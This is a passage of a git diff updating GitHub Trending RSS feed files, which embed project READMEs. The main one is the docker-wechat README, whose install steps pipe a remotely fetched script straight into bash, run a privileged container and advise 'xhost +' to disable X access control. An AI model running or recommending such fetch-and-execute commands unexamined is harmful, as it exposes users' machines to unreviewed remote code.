src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-java-async-http_2.12/badge.svg?sanitize=true" alt="guardrail-java-async-http"></a></td> <td>java-support</td> </tr> <tr> <td>guardrail-java-dropwizard</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-java-dropwizard_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-java-dropwizard_2.12/badge.svg?sanitize=true" alt="guardrail-java-dropwizard"></a></td> <td>java-support, java-async-http</td> </tr> <tr> <td>guardrail-java-spring-mvc</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-java-spring-mvc_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-java-spring-mvc_2.12/badge.svg?sanitize=true" alt="guardrail-java-spring-mvc"></a></td> <td>java-support</td> </tr> <tr> <td>guardrail-scala-support</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-scala-support_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-scala-support_2.12/badge.svg?sanitize=true" alt="guardrail-scala-support"></a></td> <td>core</td> </tr> <tr> <td>guardrail-scala-akka-http</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-scala-akka-http_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-scala-akka-http_2.12/badge.svg?sanitize=true" alt="guardrail-scala-akka-http"></a></td> <td>scala-support</td> </tr> <tr> <td>guardrail-scala-dropwizard</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-scala-dropwizard_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-scala-dropwizard_2.12/badge.svg?sanitize=true" alt="guardrail-scala-dropwizard"></a></td> <td>scala-support</td> </tr> <tr> <td>guardrail-scala-http4s</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-scala-http4s_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-scala-http4s_2.12/badge.svg?sanitize=true" alt="guardrail-scala-http4s"></a></td> <td>scala-support</td> </tr> <tr> <td>guardrail-cli</td> <td><a href="https://search.maven.org/search?q=g:dev.guardrail%20a:guardrail-cli_2.12"><img src="https://maven-badges.herokuapp.com/maven-central/dev.guardrail/guardrail-cli_2.12/badge.svg?sanitize=true" alt="guardrail-cli"></a></td> <td>guardrail-core</td> </tr> </tbody> </table> <h2>Interested in contributing?</h2> <p><a href="https://raw.githubusercontent.com/guardrail-dev/guardrail/master/CONTRIBUTING.md">CONTRIBUTING.md</a> provides an overview of how the project is structured, expectations, and information around writing new integration tests. The <a href="https://github.com/guardrail-dev/guardrail/issues">issue tracker</a> also has tags for <a href="https://github.com/guardrail-dev/guardrail/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22"><code>help wanted</code></a> and <a href="https://github.com/guardrail-dev/guardrail/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22"><code>good first issue</code></a>.</p> <h1>Adopters</h1> <ul> <li><a href="https://www.avast.com/">Avast</a></li> <li><a href="https://www.twilio.com/">Twilio</a></li> </ul> <h1>Contributors</h1> <p>We used to have a list of contributors here, but <a href="https://github.com/guardrail-dev/guardrail/graphs/contributors">github's Contributors page</a> is much more accurate. Thanks to those who contributed before the project was open sourced!</p> + + + build-server-protocol/build-server-protocol + 2023-10-30T01:35:44Z + tag:github.com,2023-10-30:/build-server-protocol/build-server-protocol + + <p>Protocol for IDEs and build tools to communicate about compile, run, test, debug and more.</p><hr><h1><img src="https://raw.githubusercontent.com/build-server-protocol/build-server-protocol/master/resources/buildServerProtocol64.svg?sanitize=true" alt="bsp logo"> Build Server Protocol</h1> <p><a href="https://discord.gg/7tMENrnv8p"><img src="https://badgen.net/badge/icon/discord?icon=discord&amp;label" alt="Join the chat on Discord"></a></p> <p>This project is an effort to improve the integration between language server/editors and build tools. This effort is led by the <a href="https://scala.epfl.ch/">Scala Center</a> and <a href="https://www.jetbrains.com/">JetBrains</a>, together with the help of other tooling developers in the Scala ecosystem and beyond.</p> <p>Even though the protocol currently focuses on Scala developer tools, it's designed to be language-agnostic.</p> <p>You can read the specification <a href="https://build-server-protocol.github.io/docs/specification">here</a>.</p> <p>The specification text, docs and support libraries for some of the supported languages are automatically generated from the <a href="https://raw.githubusercontent.com/build-server-protocol/build-server-protocol/master/spec/src/main/resources/META-INF/smithy/bsp/bsp.smithy">smithy model</a>.</p> <h2>Contribution</h2> <p>If you'd like to contribute to the protocol, please check out our <a href="https://raw.githubusercontent.com/build-server-protocol/build-server-protocol/master/CONTRIBUTING.md">CONTRIBUTING</a> doc.</p> <h2>Maintainers</h2> <p><em>Current Maintainers</em></p> <ul> <li>Adrien Piquerez - <a href="https://github.com/adpi2">@adpi2</a></li> <li>Andrzej Głuszak - <a href="https://github.com/agluszak">@agluszak</a></li> <li>Chris Kipp - <a href="https://github.com/ckipp01">@ckipp01</a></li> <li>Justin Kaeser - <a href="https://github.com/jastice">@jastice</a></li> <li>Łukasz Wawrzyk - <a href="https://github.com/lukaszwawrzyk">@lukaszwawrzyk</a></li> <li>Marcin Abramowicz - <a href="https://github.com/abrams27">@abrams27</a></li> <li>Tomasz Pasternak - <a href="https://github.com/tpasternak">@tpasternak</a></li> </ul> <p><em>Past Maintainers</em></p> <ul> <li>Jorge Vicente Cantero - <a href="https://github.com/jvican">@jvican</a></li> <li>Ólafur Páll Geirsson - <a href="https://github.com/olafurpg">@olafurpg</a></li> </ul> <h2>Protocol Changelog</h2> <h3>Unreleased</h3> <ul> <li>Add unstable <code>run/printStdout</code>, <code>run/printStderr</code> and <code>run/readStdin</code> notifications</li> <li>Add an optional <code>originId</code> field to <code>TaskStartParams</code>, <code>TaskProgressParams</code> and <code>TaskFinishParams</code> and deprecate it in <code>CompileReport</code> and <code>TestReport</code> to support BSP clients that need to distinguish between multiple reports for the same target. <ul> <li>Migration: Use the <code>originId</code> field in <code>TaskFinishParams</code> instead of <code>CompileReport</code>/<code>TestReport</code> to identify the report.</li> </ul> </li> <li>Add optional support for environment variables and working directory parameters in <code>buildTarget/run</code> and <code>buildTarget/test</code> requests. Mark arguments and environment variables lists in ScalaMainClass and ScalaTestSuites deprecated as they are replaced by the parameters in the base request.</li> <li>Add <code>cargo</code> (Rust build tool) protocol extension</li> </ul> + + + josephhajduk/grouchysaurus.rawr + 2023-10-30T01:35:44Z + tag:github.com,2023-10-30:/josephhajduk/grouchysaurus.rawr + + <p></p><hr><h1>grouchysaurus.rawr</h1> + \ No newline at end of file diff --git a/scala/weekly/index.xml b/scala/weekly/index.xml deleted file mode 100644 index 3909c31cba3..00000000000 --- a/scala/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Scala Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:48Z - Weekly Trending of Scala in GitHub - - - piyush0101/merge-report - 2023-10-29T02:01:48Z - tag:github.com,2023-10-29:/piyush0101/merge-report - - <p>A svn missing merge report built with Scalatra</p><hr><h1>merge-report</h1> <h2>Build &amp; Run</h2> <pre><code class="language-sh">$ cd merge-report $ ./sbt &gt; container:start &gt; browse </code></pre> <p>If <code>browse</code> doesn't launch your browser, manually open <a href="http://localhost:8080/">http://localhost:8080/</a> in your browser.</p> - - \ No newline at end of file diff --git a/scaml/daily/index.xml b/scaml/daily/index.xml index 16442a99968..b4259ce5bc0 100644 --- a/scaml/daily/index.xml +++ b/scaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scaml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:06Z + 2023-10-30T01:35:40Z Daily Trending of Scaml in GitHub \ No newline at end of file diff --git a/scaml/weekly/index.xml b/scaml/weekly/index.xml deleted file mode 100644 index 16e3159f9f0..00000000000 --- a/scaml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Scaml Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:43Z - Weekly Trending of Scaml in GitHub - - \ No newline at end of file diff --git a/scheme/daily/index.xml b/scheme/daily/index.xml index aa9858eaba5..7b177387e1b 100644 --- a/scheme/daily/index.xml +++ b/scheme/daily/index.xml @@ -1,7 +1,14 @@ GitHub Scheme Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:08Z + 2023-10-30T01:35:41Z Daily Trending of Scheme in GitHub + + gambit/gambit + 2023-10-30T01:35:41Z + tag:github.com,2023-10-30:/gambit/gambit + + <p>Gambit is an efficient implementation of the Scheme programming language.</p><hr> + \ No newline at end of file diff --git a/scheme/weekly/index.xml b/scheme/weekly/index.xml deleted file mode 100644 index 7a1a6985c83..00000000000 --- a/scheme/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Scheme Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:45Z - Weekly Trending of Scheme in GitHub - - \ No newline at end of file diff --git a/scilab/daily/index.xml b/scilab/daily/index.xml index b61c2a43a9f..861149318df 100644 --- a/scilab/daily/index.xml +++ b/scilab/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scilab Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:21Z + 2023-10-30T01:35:51Z Daily Trending of Scilab in GitHub \ No newline at end of file diff --git a/scilab/weekly/index.xml b/scilab/weekly/index.xml deleted file mode 100644 index df7eafcc4cd..00000000000 --- a/scilab/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Scilab Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:58Z - Weekly Trending of Scilab in GitHub - - \ No newline at end of file diff --git a/scss/daily/index.xml b/scss/daily/index.xml index a32b128783b..d0830ea8cd3 100644 --- a/scss/daily/index.xml +++ b/scss/daily/index.xml @@ -1,21 +1,14 @@ GitHub SCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:25Z + 2023-10-30T01:35:53Z Daily Trending of SCSS in GitHub - leantechlabs/captaV2 - 2023-10-29T01:42:25Z - tag:github.com,2023-10-29:/leantechlabs/captaV2 - - <p>capta : co-ignite</p><hr> - - - Ivysauro/CNRT - 2023-10-29T01:42:25Z - tag:github.com,2023-10-29:/Ivysauro/CNRT - - <p>中国轨道交通数据库(非技术类) - 另一角度看地铁/ Data base of China Rail Transit (Non-tech) - Another view of Rail Transit</p><hr> + DinoBarton/AgileWeb-Innovations.com + 2023-10-30T01:35:53Z + tag:github.com,2023-10-30:/DinoBarton/AgileWeb-Innovations.com + + <p></p><hr> \ No newline at end of file diff --git a/scss/weekly/index.xml b/scss/weekly/index.xml deleted file mode 100644 index e8847cfd1f9..00000000000 --- a/scss/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub SCSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:01Z - Weekly Trending of SCSS in GitHub - - - rahulsahay19/eShopping - 2023-10-29T02:02:01Z - tag:github.com,2023-10-29:/rahulsahay19/eShopping - - <p>Clean Architecture Microservices example of .Net Core</p><hr> - - - posse-ap/template-ph2-website - 2023-10-29T02:02:01Z - tag:github.com,2023-10-29:/posse-ap/template-ph2-website - - <p></p><hr> - - - mate-academy/Potr_Pots - 2023-10-29T02:02:01Z - tag:github.com,2023-10-29:/mate-academy/Potr_Pots - - <p></p><hr> - - \ No newline at end of file diff --git a/sed/daily/index.xml b/sed/daily/index.xml index 3c134a9bb34..55c4e47b497 100644 --- a/sed/daily/index.xml +++ b/sed/daily/index.xml @@ -1,7 +1,7 @@ GitHub sed Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:22Z + 2023-10-30T01:35:50Z Daily Trending of sed in GitHub \ No newline at end of file diff --git a/sed/weekly/index.xml b/sed/weekly/index.xml deleted file mode 100644 index cc32794feea..00000000000 --- a/sed/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub sed Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:56Z - Weekly Trending of sed in GitHub - - \ No newline at end of file diff --git a/self/daily/index.xml b/self/daily/index.xml index bf4b4da88c9..bd1dfc0d0c4 100644 --- a/self/daily/index.xml +++ b/self/daily/index.xml @@ -1,7 +1,7 @@ GitHub Self Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:20Z + 2023-10-30T01:35:51Z Daily Trending of Self in GitHub \ No newline at end of file diff --git a/self/weekly/index.xml b/self/weekly/index.xml deleted file mode 100644 index fe3011c1645..00000000000 --- a/self/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Self Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:57Z - Weekly Trending of Self in GitHub - - \ No newline at end of file diff --git a/selinux-policy/daily/index.xml b/selinux-policy/daily/index.xml index 65be2072a94..90cd2a40f52 100644 --- a/selinux-policy/daily/index.xml +++ b/selinux-policy/daily/index.xml @@ -1,7 +1,7 @@ GitHub SELinux Policy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:27Z + 2023-10-30T01:35:54Z Daily Trending of SELinux Policy in GitHub \ No newline at end of file diff --git a/selinux-policy/weekly/index.xml b/selinux-policy/weekly/index.xml deleted file mode 100644 index 0273acb34f7..00000000000 --- a/selinux-policy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SELinux Policy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:03Z - Weekly Trending of SELinux Policy in GitHub - - \ No newline at end of file diff --git a/shaderlab/daily/index.xml b/shaderlab/daily/index.xml index 09a83e7661d..1532836a26b 100644 --- a/shaderlab/daily/index.xml +++ b/shaderlab/daily/index.xml @@ -1,7 +1,14 @@ GitHub ShaderLab Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:28Z + 2023-10-30T01:35:56Z Daily Trending of ShaderLab in GitHub + + Kolman-Freecss/JameGam-Core + 2023-10-30T01:35:56Z + tag:github.com,2023-10-30:/Kolman-Freecss/JameGam-Core + + <p>GameJam project - Videogame built in Unity for JameGam org</p><hr> + \ No newline at end of file diff --git a/shaderlab/weekly/index.xml b/shaderlab/weekly/index.xml deleted file mode 100644 index 1b835ee4ca3..00000000000 --- a/shaderlab/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ShaderLab Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:07Z - Weekly Trending of ShaderLab in GitHub - - \ No newline at end of file diff --git a/shell/daily/index.xml b/shell/daily/index.xml index a49c35359bd..0aec188a4da 100644 --- a/shell/daily/index.xml +++ b/shell/daily/index.xml @@ -1,14 +1,14 @@ GitHub Shell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:31Z + 2023-10-30T01:35:58Z Daily Trending of Shell in GitHub - huan/docker-wechat - 2023-10-29T01:42:31Z - tag:github.com,2023-10-29:/huan/docker-wechat - - <p>DoChat is a Dockerized WeChat (盒装微信) PC Windows Client for Linux</p><hr><h1>DoChat /dɑɑˈtʃæt/ 盒装微信</h1> <p><a href="https://github.com/huan/docker-wechat/actions?query=workflow%3ADocker"><img src="https://github.com/huan/docker-wechat/workflows/Docker/badge.svg?sanitize=true" alt="Docker"></a> <a href="https://www.winehq.org/"><img src="https://img.shields.io/badge/Powered%20By-Wine-red" alt="Powered By Wine"></a></p> <p><a href="https://hub.docker.com/r/zixia/wechat/tags"><img src="https://dockeri.co/image/zixia/wechat" alt="dockeri.co"></a></p> <p>DoChat(盒装微信) is a Dockerized WeChat(微信) PC Windows Client for Linux.</p> <p><img src="https://huan.github.io/docker-wechat/images/dochat.png" alt="DoChat"></p> <blockquote> <p>Image Credit: <a href="https://www.docker.com/blog/docker-101-introduction-docker-webinar-recap/">Docker 101</a> + <a href="https://www.iconfinder.com/icons/4539886/application_chat_communication_wechat_wechat_logo_icon">Icon Finder</a>, and Ps-ed by Ruoxin Song</p> </blockquote> <h2>Honors</h2> <ul> <li><a href="https://twitter.com/newsycombinator/status/1231489594765594625">Tweeted</a> by Y Combinator <a href="https://news.ycombinator.com/item?id=22395507">Hacker News</a></li> <li><a href="https://huan.github.io/docker-wechat/images/oschina-feb-25-2020.png">Headlined</a> by <a href="https://www.oschina.net/">OS China</a></li> </ul> <h2>Disclaimer</h2> <p>We have received reports from our user said that their WeChat account has been disabled after using this project, so use it at your own risk:</p> <ol> <li><a href="https://github.com/huan/docker-wechat/issues/55">昨天用了一下最新版的docker镜像立马微信就被封了 #55</a></li> </ol> <h2>Usage <img src="https://img.shields.io/badge/WeChat-Linux-brightgreen" alt="Powered Linux"></h2> <p>WeChat PC will be started on your Linux desktop by running the following one-line command:</p> <pre><code class="language-sh">curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh | bash </code></pre> <p>If you’re in China, try the following one-line command if the above one-line command does not work well:</p> <pre><code class="language-sh">curl -sL https://gitee.com/mirrors/dochat/raw/main/dochat.sh | bash </code></pre> <p>Just copy/paste the above one-line command to your terminal and press Enter. Then the WeChat PC should appear in your XWindows desktop shortly.</p> <p><img src="https://huan.github.io/docker-wechat/images/term-dochat.png" alt="DoChat Term Command"></p> <h3>Attention</h3> <p>The <a href="https://github.com/huan/docker-wechat/raw/master/dochat.sh">dochat.sh</a> script must not be with uid 0 (root user). Running it with uid 0 will lead to an infinite loop that is hard to kill from the terminal. If your user doesn't have the right to run docker please add the user to the docker group <code>sudo usermod -aG docker $USER</code>. A reboot might be neccessary for the changes to take place.</p> <p>The issue is described in <a href="https://github.com/huan/docker-wechat/issues/60">#60</a>.</p> <h2>Features</h2> <p>It just works out-of-the-box with one-line of shell command!</p> <ol> <li>Input/Display Chinese characters perfectly.</li> <li>Paste copied images to WeChat with <code>Ctrl+V</code></li> </ol> <p><img src="https://huan.github.io/docker-wechat/images/screenshot-dochat.png" alt="DoChat Screenshot"></p> <h2>Requirements</h2> <ol> <li>Linux Ubuntu distribution will be recommended (DoChat was developed with the Ubuntu Desktop 19.10) <ol> <li>Debian support confirmed (<a href="https://github.com/huan/docker-wechat/issues/9">#9</a>)</li> <li>OpenSUSE Leap 15.1 support confirmed (<a href="https://github.com/huan/docker-wechat/issues/16">#16</a>)</li> <li>OpenSUSE Tumbleweed support confirmed (<a href="https://github.com/huan/docker-wechat/issues/150">#150</a>)</li> <li>Arch support confirmed (<a href="https://github.com/huan/docker-wechat/issues/26">#26</a>)</li> <li>Ubuntu(19.04/18.10/18.04) should be able to support</li> <li>Other Linux distributions: might be able to support</li> </ol> </li> <li>Docker (run <code>sudo apt update &amp;&amp; apt install docker.io</code> to install Docker for Ubuntu users)</li> </ol> <h2>Environment Variables</h2> <h3><code>DOCHAT_DPI</code></h3> <p>DPI Scale Factors for graphic screen resolution.</p> <table> <thead> <tr> <th align="right">DPI</th> <th align="center">Scale factor</th> </tr> </thead> <tbody> <tr> <td align="right">96</td> <td align="center">100%</td> </tr> <tr> <td align="right">120</td> <td align="center">125%</td> </tr> <tr> <td align="right">144</td> <td align="center">150%</td> </tr> <tr> <td align="right">192</td> <td align="center">200%</td> </tr> </tbody> </table> <p>Default: <code>120</code></p> <p>To enlarge the window &amp; fonts size:</p> <pre><code class="language-sh">curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \ | DOCHAT_DPI=192 bash </code></pre> <h3><code>DOCHAT_SKIP_PULL</code></h3> <p>If you do not want to pull docker image for the latest version at startup everytime, you can set <code>DOCHAT_SKIP_PULL</code> environment variable.</p> <pre><code class="language-sh">curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \ | DOCHAT_SKIP_PULL=true bash </code></pre> <p>In case you have downloaded <code>dochat.sh</code>:</p> <pre><code class="language-sh">DOCHAT_SKIP_PULL=true ./dochat.sh </code></pre> <h3><code>DOCHAT_DEBUG</code></h3> <p>Show more debug log messages.</p> <pre><code class="language-sh">curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \ | DOCHAT_DEBUG=true bash </code></pre> <h3><code>DOCHAT_WECHAT_VERSION</code></h3> <p>Use a specific version for WeChat.</p> <p>You can get a full list of the supported versions from Docker Hub Image Tags at <a href="https://hub.docker.com/r/zixia/wechat/tags">https://hub.docker.com/r/zixia/wechat/tags</a></p> <p>For example:</p> <pre><code class="language-sh">curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \ | DOCHAT_WECHAT_VERSION=3.3.0.115 bash </code></pre> <h2>For Hackers</h2> <p>If you want to control everything by yourself, for example, open multiple WeChat PC client on your desktop; then, you might want to inspect the <a href="https://github.com/huan/docker-wechat/raw/master/dochat.sh">dochat.sh</a> in our repository and try the following docker command:</p> <pre><code class="language-sh">docker run \ --name DoChat \ --rm \ -i \ \ -v "$HOME/DoChat/WeChat Files/":'/home/user/WeChat Files/' \ -v "$HOME/DoChat/Applcation Data":'/home/user/.wine/drive_c/users/user/Application Data/' \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -v "/run/user/$(id -u)/pulse":"/run/pulse" \ \ -e DISPLAY \ \ -e XMODIFIERS=@im=fcitx \ -e GTK_IM_MODULE=fcitx \ -e QT_IM_MODULE=fcitx \ -e GID="$(id -g)" \ -e UID="$(id -u)" \ \ --ipc=host \ --privileged \ \ zixia/wechat </code></pre> <p>Modify it whatever you want to fulfill your needs.</p> <h2>Versioning</h2> <p>The docker image has two schema of the versioning:</p> <ol> <li><code>X.Y.Z.a</code>: This is for the WeChat PC Windows Client version <ol> <li><code>zixia/wechat:2.7.1.85</code>: WeChat 2.7.1.85</li> <li><code>zixia/wechat:2.8.0.112</code>: WeChat 2.8.0.112</li> </ol> </li> <li><code>x.y</code>: This is for the docker image version. <ol> <li><code>zixia/wechat:0.2</code>: docker-wechat version 0.2</li> </ol> </li> </ol> <p>The two version schema may overlap with each other.</p> <p>For example: the <code>zixia/wechat:0.2</code> may be the same image as the <code>zixia/wechat:2.8.0.112</code>.</p> <h2>Known Issues</h2> <ul> <li><input type="checkbox" disabled> WeChat 2.8.0.x can not send big images/files (<a href="https://github.com/huan/docker-wechat/issues/31">#341</a>) <ul> <li>Work around: use <a href="https://hub.docker.com/layers/zixia/wechat/2.7.1.85/images/sha256-e6e9d21c7cd1dfae0484e697f12f5f3c401de2f02e771d061868740e0d26549d">2.7.1.85</a> instead. (<code>DOCHAT_WECHAT_VERSION=2.7.1.85</code>)</li> </ul> </li> <li><input type="checkbox" disabled> In-WeChat Browser does not work (<a href="https://github.com/huan/docker-wechat/issues/2">#2</a>)</li> </ul> <h2>To-do List</h2> <ul> <li><input type="checkbox" checked disabled> Permanent Storage for WeChat PC Login Data Information (<a href="https://github.com/huan/docker-wechat/issues/3">#3</a>)</li> <li><input type="checkbox" disabled> Automatically install WeChat PC from .EXE installer when building the Dockerfile. (Test Automation tools might be needed)</li> <li><input type="checkbox" disabled> Monitor WeChat PC version publications so that we can publish the same version number of the docker image with it.</li> <li><input type="checkbox" disabled> Resolve the infinite loop situation when running with uid 0 (<a href="https://github.com/huan/docker-wechat/issues/60">#60</a>)</li> <li><input type="checkbox" disabled> New feature: wechat_pc_api, <a href="https://github.com/huan/docker-wechat/issues/125">https://github.com/huan/docker-wechat/issues/125</a></li> </ul> <h2>FAQ</h2> <h3>System Tray Icon with Gnome Desktop</h3> <p>Install Gnome Extension: <a href="https://extensions.gnome.org/extension/2311/topicons-plus/">Top Icons Plus Git</a> by bijignome</p> <blockquote> <p>Note 1: there's almost half dozen of the <code>TopIcons</code> extensions with very similar name: TopIcons, TopIcons Redux, TopIcons Plus, <strong>TopIcons Plus Git</strong>, TopIconsFix. Use <strong>TopIcons Plus Git</strong>, it's the right one.</p> <p>Note 2: The <code>TopIcons Plus</code> has the bug that cause the <code>wine</code> itself shows a window on your desktop. (<a href="https://github.com/huan/docker-wechat/issues/19">#19</a>)</p> </blockquote> <h3>Exit with code 5 on openSUSE Leap</h3> <p>When you encounter problem that the app exit with code 5 on openSUSE Leap, you need to disable X server access control to allow any user to connect to the X server before you start the app. Use below command to disable it:</p> <p><code>$ xhost +</code></p> <h3>OpenSUSE Tumbleweed Configurations</h3> <p>To address the issue (<a href="https://github.com/huan/docker-wechat/issues/150">#150</a>) do the following: (Thanks <a href="https://github.com/bo-wu">Wu Bo</a>)</p> <p><code>$ xhost +; sudo chown -R $USER $HOME/DoChat/</code></p> <h3>No main window after start up with 2 or more monitor setup</h3> <p>This could be caused by an old bug in wine with multiple monitor setup. Workaround is to start it up with single monitor and then switch to multiple monitors</p> <p>This behavior may cause the view disappear when you use the Join Displays mode, so you need change the mode to mirrors when the app start, this script may help:</p> <pre><code class="language-Bash">#bin/bash xrandr --output HDMI-1-2 --same-as eDP-1-1 curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \ | DOCHAT_SKIP_PULL=true bash &amp; sleep 5 xrandr --output HDMI-1-2 --right-of eDP-1-1 </code></pre> <p>Change the HDMI-1-2 to your external display name and eDP-1-1 to your built in display name. Display more than two, link to <a href="http://www.mikewootc.com/wiki/linux/usage/set_x_reso.html">this</a>.</p> <p><em><strong>Notice</strong></em>: you must drag the login dialog to built in display side when the process sleep 5, otherwise the view may stuck in the external display.</p> <h2>Links</h2> <ul> <li><a href="https://ubuntuforums.org/showthread.php?t=913752">Input Method don't work when using X11Forward</a></li> <li><a href="https://fcitx-im.org/wiki/Input_method_related_environment_variables">Input method related environment variables</a></li> <li><a href="https://github.com/zjZSTU/Containerization-Automation/raw/982d54458b05ef75fe6436f4ea72bbb66c4cb931/docs/docker/gui/%5BDocker%5DGUI%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5.md">Docker GUI最佳实践</a></li> <li><a href="https://www.kpromise.top/run-wechat-in-linux/">Linux 下 完美运行 wechat 微信</a></li> <li><a href="https://ferrolho.github.io/blog/2018-12-22/wechat-desktop-on-linux">WeChat Desktop on Linux</a></li> </ul> <h2>History</h2> <h3>master v0.14</h3> <ol> <li>Update to WeChat version 3.3.0.115 (<a href="https://github.com/huan/docker-wechat/issues/131">#131</a>)</li> <li>Upgrade to Wine version 6.0</li> <li>Upgrade to Debian 11 (bullseye)</li> <li>Rename default branch from <code>master</code> to <code>main</code></li> </ol> <h3>v0.10 (Mar 12, 2020)</h3> <ol> <li>Upgrade wine from v4.0 to v5.0</li> <li>Deploy to Docker Hub by GitHub Actions with Automatic WeChat Version Number.</li> </ol> <h3>v0.8 (Mar 3, 2020)</h3> <ol> <li>Add a new configuration environment variable <code>DOCHAT_WECHAT_VERSION</code> to select WeChat version.</li> <li>Add WeChat v2.8.0.112 <ol> <li>新增订阅号浏览</li> <li>新增IPv6网络支持</li> <li>新增看一看精选内容</li> <li>新增打开聊天中小程序消息</li> <li>新增在小程序中使用微信支付</li> <li>新增聊天文件面板,可查看和管理所有聊天文件</li> </ol> </li> </ol> <pre><code class="language-sh">curl -sL https://raw.githubusercontent.com/huan/docker-wechat/master/dochat.sh \ | DOCHAT_WECHAT_VERSION=2.8.0.112 bash </code></pre> <h3>v0.5 (Feb 24, 2020)</h3> <ol> <li>Add environment variable <code>DOCHAT_DPI</code> to set DPI scale factors for graphicg screen resolution.</li> <li>Disable auto-update.</li> </ol> <h3>v0.4 (Feb 21, 2020)</h3> <p>Got a great logo from my art friend Ruoxin SONG.</p> <ol> <li>Fix Sound (<a href="https://github.com/huan/docker-wechat/issues/1">#1</a>)</li> <li>Fix to not exit during the upgrading progress.</li> </ol> <h3>v0.2 (Feb 18, 2020)</h3> <p>The first working version, cheers!</p> <h3>v0.1 (Feb 17, 2020)</h3> <p>Project created.</p> <h2>Thanks</h2> <ol> <li><a href="https://ferrolho.github.io/blog/2018-12-22/wechat-desktop-on-linux">WeChat Desktop on Linux</a> - by <a href="https://github.com/ferrolho">@ferrolho</a></li> <li><a href="https://appdb.winehq.org/objectManager.php?sClass=application&amp;iId=16931">Wine HQ App Database - WeChat</a></li> <li><a href="https://github.com/bestwu/docker-wechat">基于深度操作系统的微信 docker 镜像</a> by <a href="https://github.com/bestwu">@bestwu</a></li> <li>DoChat logo designed by my friend Ruoxin SONG.</li> </ol> <h2>Related Projects</h2> <ol> <li><a href="https://github.com/huan/docker-wxwork">DoWork /dɑɑˈwɜːk/ 盒装企业微信</a>: Dockerized WeChat Work (企业微信) PC Windows Client for Linux</li> <li>Put your WeChat in the box: <a href="https://github.com/ChisBread/wechat-box">https://github.com/ChisBread/wechat-box</a></li> </ol> <h2>Contributors</h2> <p><a href="https://sourcerer.io/fame/huan/huan/docker-wechat/links/0"><img src="https://sourcerer.io/fame/huan/huan/docker-wechat/images/0" alt="contributor"></a> <a href="https://sourcerer.io/fame/huan/huan/docker-wechat/links/1"><img src="https://sourcerer.io/fame/huan/huan/docker-wechat/images/1" alt="contributor"></a> <a href="https://sourcerer.io/fame/huan/huan/docker-wechat/links/2"><img src="https://sourcerer.io/fame/huan/huan/docker-wechat/images/2" alt="contributor"></a> <a href="https://sourcerer.io/fame/huan/huan/docker-wechat/links/3"><img src="https://sourcerer.io/fame/huan/huan/docker-wechat/images/3" alt="contributor"></a> <a href="https://sourcerer.io/fame/huan/huan/docker-wechat/links/4"><img src="https://sourcerer.io/fame/huan/huan/docker-wechat/images/4" alt="contributor"></a> <a href="https://sourcerer.io/fame/huan/huan/docker-wechat/links/5"><img src="https://sourcerer.io/fame/huan/huan/docker-wechat/images/5" alt="contributor"></a> <a 